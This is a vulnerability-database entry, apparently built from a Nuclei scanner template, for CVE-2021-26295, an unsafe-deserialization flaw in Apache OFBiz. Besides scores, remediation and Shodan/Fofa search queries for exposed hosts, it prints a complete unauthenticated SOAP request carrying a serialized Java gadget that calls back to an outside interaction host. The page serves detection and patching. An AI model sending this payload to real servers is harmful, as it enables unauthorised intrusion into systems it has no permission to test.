🔙 목록으로 돌아가기

CVE-2021-26295: Apache OFBiz <17.12.06 - Arbitrary Code Execution

TitleApache OFBiz <17.12.06 - Arbitrary Code Execution
Authormadrobot
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
RemediationUpgrade Apache OFBiz to version 17.12.06 or later to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.94237
CVE IDCVE-2021-26295
CWE IDCWE-502
Shodan QueryOFBiz.Visitor=http.html:"ofbiz"ofbiz.visitor=
Fofa Querybody="ofbiz"app="apache_ofbiz"
Tags cve2021 cve packetstorm apache ofbiz deserialization rce vkev vuln

🔍 Vulnerability Description

Apache OFBiz has unsafe deserialization prior to 17.12.06. An unauthenticated attacker can use this vulnerability to successfully take over Apache OFBiz.

🌐 HTTP Request

POST /webtools/control/SOAPService HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Connection: close
Content-Length: 1029
Content-Type: application/xml
Accept-Encoding: gzip

<?xml version='1.0' encoding='UTF-8'?>

<soapenv:Envelope

  xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">

  <soapenv:Header/>

    <soapenv:Body>

      <ns1:clearAllEntityCaches xmlns:ns1="http://ofbiz.apache.org/service/">

          <ns1:cus-obj>aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff74002a64356a6e6a70316c65306f31356730726763336735317237786439626e367236722e6f6173742e70726f74000071007e00057400046874747073707874003268747470733a2f2f64356a6e6a70316c65306f31356730726763336735317237786439626e367236722e6f6173742e70726f78</ns1:cus-obj>

      </ns1:clearAllEntityCaches>

    </soapenv:Body>

</soapenv:Envelope>

📚 References

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-26295.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-26295.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A